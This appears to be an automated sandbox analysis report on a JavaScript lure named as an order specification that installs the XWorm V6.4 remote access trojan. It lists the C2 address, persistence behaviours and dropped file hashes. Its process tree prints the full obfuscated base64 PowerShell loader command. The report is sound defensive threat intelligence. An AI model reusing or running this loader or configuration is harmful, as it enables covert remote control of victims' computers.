Analysis

  • max time kernel
    102s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250905-en
  • resource tags

    arch:x64arch:x86image:win11-20250905-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/10/2025, 14:05

General

  • Target
    Order specification and Drawings_Pakgreen_JPEG File.js
  • Size 1.3MB
  • Sample251006-rd99hs1vdw
  • SHA256 43c8dfe3daa3b5402f2c673b1bae02dc73f653570033efcd63e19a9b0f3e0255
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • XWorm V6.4

C2
  • 216.9.227.107:1122

Mutex
  • Jxlg8L3PYwrGqTzl

Attributes
  • Install_directory

    %AppData%

  • install_file

    XWormClient.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Order specification and Drawings_Pakgreen_JPEG File.js"
    1⤵
      PID:4460
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\system32\cmd.exe
        cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:952
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2248
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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kAdQBrAGkAUQBqAHgAeguhrtgiztqiBnAFIAWABzADgANwBBADEATwB1AHMAZQA5AuhrtgiztqiGoAcABQAFQAOABJAGEAYgA4AEkAdQBnAGYAuhrtgiztqiVABsAFcASQBOAFcAbABZADUARwBYAFIARQBuhrtgiztqiRADQASgBQAHAARgBaADUAcgB6AFMARgBQAEuhrtgiztqiIAVQBYAHAARABFAHQAZgBKAGkAQwBUAHAAcuhrtgiztqigA0AEoASQA3AHoAYwB5AGoAMABOAEEAVgBYuhrtgiztqiAC8AKwBaAEYAZwBxAEQAUwBrAGUAUQBwAFIuhrtgiztqiATABxAGsAcwBjAHkARABMAFQASQBwAEUAawuhrtgiztqiBtADUAVwA0AEMAKwBxAHEAMwBRADQAawBFAuhrtgiztqiEEAMgB1ADEAOQBsAG0ANABtAE0AUgB3AHoAuhrtgiztqiUAAwAGcARwBZAHoAawBCAFcAdwBVAHQAawBuhrtgiztqiMAEgAZwBxAGMAawBUAGkAbQBQAEgAbABHAFuhrtgiztqikANABWAGEAaQBaAHcAZABCAHMATgBQAEQAMuhrtgiztqigBVAE8AbwBkAHgASQBCAEkASQBYAEkATABVuhrtgiztqiAEIASABrAGkAUgA3AGgARQBGAEgAegA4AE0uhrtgiztqiAdABUAFIAOAB0ADMASABSADQAbQBlAEwAdwuhrtgiztqiAwAFYALwAvAHcAMQA3AEIAMABrAHIAKwAxAuhrtgiztqiHEAMABqAGgAaABaAGgAcgBRADMAMgB4AHYAuhrtgiztqiLwArAFAAUgB0AEkASgBiAG4AeQBjAFcAYgBuhrtgiztqi0AE0AeQBQAC8AYwBiAE8AWAB2AHYAbgAvADuhrtgiztqiUAUQBpAC8AZABuADkAZgBCADUALwBQAEIAMuhrtgiztqiwBQAGIAMQBpAHcAMgBDACsAagBHAFoAMwBtuhrtgiztqiAGkAYgArAFIAaQB5AEcAeQBXADUAUABXACsuhrtgiztqiAbwAxADYANwBlAC8AKwBlAG4ARgB0AHQAQQuhrtgiztqiBTAGQAUwAxADUARABIAHoARAB4AFMAQgBLAuhrtgiztqiHUAcABrAEsAbQBCADUAUQBUAHQAcwBkAEUAuhrtgiztqi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'.Replace('uhrtgiztqi','')))))""
            4⤵
            • Badlisted process makes network request
            • Drops startup file
            • Adds Run key to start application
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4496
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XWormClient.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Users\Admin\AppData\Roaming\XWormClient.exe
        C:\Users\Admin\AppData\Roaming\XWormClient.exe
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4012

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          RadiantFilter.bat

          • Path C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat
          • Size 240KB
          • SHA256 d5b0f9b8ad5358e39eb55fa88afb73e5803904fa5829c5c2c4f9109fed0c493b
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_yldlmy1o.q5t.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yldlmy1o.q5t.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          XWormClient.exe

          • Path C:\Users\Admin\AppData\Roaming\XWormClient.exe
          • Size 440KB
          • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
          • MD5 SHA1 SHA512 SSDEEP

          memory/4012-37-0x0000018356690000-0x00000183566D6000-memory.dmp

          memory/4496-21-0x00000173E9A90000-0x00000173E9A9C000-memory.dmp

          memory/4496-17-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-19-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-20-0x00000173E8050000-0x00000173E8058000-memory.dmp

          memory/4496-8-0x00000173E97E0000-0x00000173E9802000-memory.dmp

          memory/4496-22-0x00000173E9AA0000-0x00000173E9AAE000-memory.dmp

          memory/4496-7-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-6-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-38-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-39-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-40-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

          memory/4496-41-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp